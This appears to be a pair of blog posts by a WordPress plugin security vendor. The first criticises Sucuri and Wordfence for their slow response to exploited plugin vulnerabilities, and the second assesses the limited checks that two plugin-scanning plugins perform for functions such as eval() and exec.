Even when they belated became aware of this someone else was notifying them, which reminds of the time Wordfence only became aware of a vulnerability that was publicly disclosed and looked to be being widely exploited, when someone notified them of us discussing the issue. How people can think companies like these are leaders in the face of things like that is amazing.

It wasn’t until four days later that they released their post.

Just like we discussed with Wordfence recently with one of these vulnerabilities, these security companies don’t present the obvious lesson for the public from these situations, which is you should be keeping your plugins up to date at all times, which can be done with things like our Automatic Plugin Updates plugin. Instead they are telling people only to update this plugins after they belated become aware of the issues. Here is Sucuri’s recommendation:

Update Now

As you can see, attackers are actively looking for this issue in the wild. If you’re using a vulnerable version of these plugins, we highly recommend that you update them now!

In the event where you cannot do this, we strongly recommend leveraging the Sucuri Firewall or equivalent technology to get it patched virtually.

The second part of the recommendation is problematic for a number reasons, including that Sucuri’s firewall can often easily be completely bypassed (which they are aware of), they only belated became aware of these vulnerabilities and therefore couldn’t have added virtual patching for them till long after they started being exploited, and there isn’t evidence presented by them, much less evidence based on independent testing, that their firewall is actually effective in protecting against vulnerabilities (just a month and a half ago it was found that it was susceptible to a fairly basic bypass technique).

So why not tell people that they should be keeping their plugins up to date? Well it could that they don’t understand that this important (both of those companies don’t understand other basics basics of security). It could be that they would rather people not to do best practices that likely would provide much better protection that their services (it certainly looks like it would have here). It also could be that would get in the way of trying to get people to share their blog posts, since if everyone was keeping plugins up to date it would lot less important to tell people to update certain plugins.

A Service That Protects

If for some reason you are not able to keep your plugins up to date in general, which is claimed to be something common in academia, our service would probably provide you much better protection than security services since we actually keep up on vulnerabilities in WordPress plugins and warned our customers weeks before Sucuri mentioned these vulnerabilities.

Our focus though isn’t in just warning people about vulnerabilities after they are discovered by others as was the case with these vulnerabilities, but being proactive in finding and fixing plugin vulnerabilities, which is something if we had more customers we could be do a lot more than we already do (which is already much more than Sucuri or Wordfence seem to be doing). We do that through things like our proactive monitoring of changes made to plugins to try to catch serious vulnerabilities, security reviews of plugins suggested/voted for by our customers, our new tool for helping to identify possible vulnerabilities in plugins in an automated fashion.

We think we could make things even better if we were not dealing with a situation where the people of the WordPress side of things are intentionally blocking improvements to security and denying the reality of the problems that exist.

28 Nov

The Limited Capability of Existing Plugins for Checking the Security of Plugins

As we have been looking at what more we can do with our new tool for doing security checks of WordPress plugins, one of things we have been looking at is what existing tools are out there that provide similar functionality. In doing that we found a couple of plugins that do security checks of other plugins, though their capability is rather limited.

WP Plugin Security Check

The first plugin is WP Plugin Security Check, which was last updated seven years ago. The plugin is described as:

WP Plugin Security Check checks plugins for bad practices and possible security holes limiting the risk of a compromised WordPress installation to a ‘hate to say I told you so’.

The description doesn’t spell out what types of things are looked for. In looking at the underlying code we found it checks for three items:

  • Usage of the variable $_SERVER[‘REQUEST_URI’]
  • Usage of the function eval()
  • Usage of variable functions

Warning about usage of eval() seems reasonable enough as the documentation for that states:

The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.

Though the tool just checks for its usage, not say if the usage might be exploitable.

Variable functions could potentially allow arbitrary PHP functions to be executed, though we can’t recall coming across them with any vulnerable or intentionally malicious code, so we are not sure if that would be of much use to check for.

The check for use of $_SERVER[‘REQUEST_URI’] is rather odd as that variable just provides with the address of the page being requested. That does include user input, so it does need to be properly handled (though as we noted before, the value is usually encoded, limiting issues that can come from improper use of it), but what the “bad practices and possible security holes” involved with that are is something we can’t think of. That variable is used in many of the most popular plugins, so it would cause a lot of those plugins to be flagged for a reason that isn’t clear to us.

Plugin Inspector

The second one is Plugin Inspector, which was last updated 12 months ago. The plugin is described as:

The Plugin Inspector plugin is an easy way to check plugins installed on your WordPress and make sure that plugins do not use deprecated WordPress functions and some unsafe functions like eval, base64_decode, system, exec, etc. Some of those functions may be used to load malicious code (malware) from the external source directly to the site or WordPress database.

Some of the functions it checks for usage of seem like they could accurately be described as being unsafe, as was already mentioned with eval(), but others seem more problematic as they just are functions that make requests to other websites.

The problems with its usage can probably be best seen by the result when the plugin scans itself and the developer’s response to that result. Here is the result when the plugin is scanned by itself:

When the developer of the plugin was asked about this they responded:

What is the question? This is just a warning, not an issue.

You can ignore all Unsafe messages if you trust the author and the source of this plugin.

Just because you trust the author and the source of the plugin, it doesn’t mean the plugin is safe.

There is also the issue that the checks are rather simply done. As an example of this, in one of the screenshots provided for the plugin you can see that a line of code that uses a function to making a request to another website, the plugin states that it could “load data from any external server”:

Since a variable is used, you can’t tell just by the line what websites or website requests might be through it. But below that in the screenshot is another line with the same message despite the code in that line making a request for a specific web address:

This tool does seem useful for someone with some level of expertise that wanted to have a better understanding of what a plugin might do, but for others it seems the checks are of limited value.